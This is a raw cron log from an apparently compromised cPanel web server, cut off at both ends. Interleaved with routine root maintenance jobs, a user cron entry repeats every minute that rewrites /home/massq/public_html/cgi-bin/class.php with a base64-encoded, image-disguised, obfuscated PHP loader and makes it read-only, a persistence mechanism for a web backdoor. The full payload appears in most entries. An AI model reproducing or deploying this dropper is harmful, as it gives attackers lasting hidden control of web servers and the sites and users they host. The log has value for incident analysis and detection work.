O1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:35:01 server CROND[32014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 12:35:01 server CROND[32017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:35:01 server CROND[32018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:35:01 server CROND[32019]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 12:35:01 server CROND[32016]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:36:01 server CROND[32232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:37:01 server CROND[32299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:38:01 server CROND[32356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:39:01 server CROND[32417]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 12:39:01 server CROND[32418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:40:01 server CROND[32493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 12:40:01 server CROND[32494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:40:01 server CROND[32495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:40:01 server CROND[32496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:41:01 server CROND[32711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:42:01 server CROND[317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:42:01 server CROND[318]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 12:43:01 server CROND[376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:44:01 server CROND[433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:45:01 server CROND[516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:45:01 server CROND[515]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:45:01 server CROND[514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:46:01 server CROND[719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:47:01 server CROND[789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:48:01 server CROND[849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR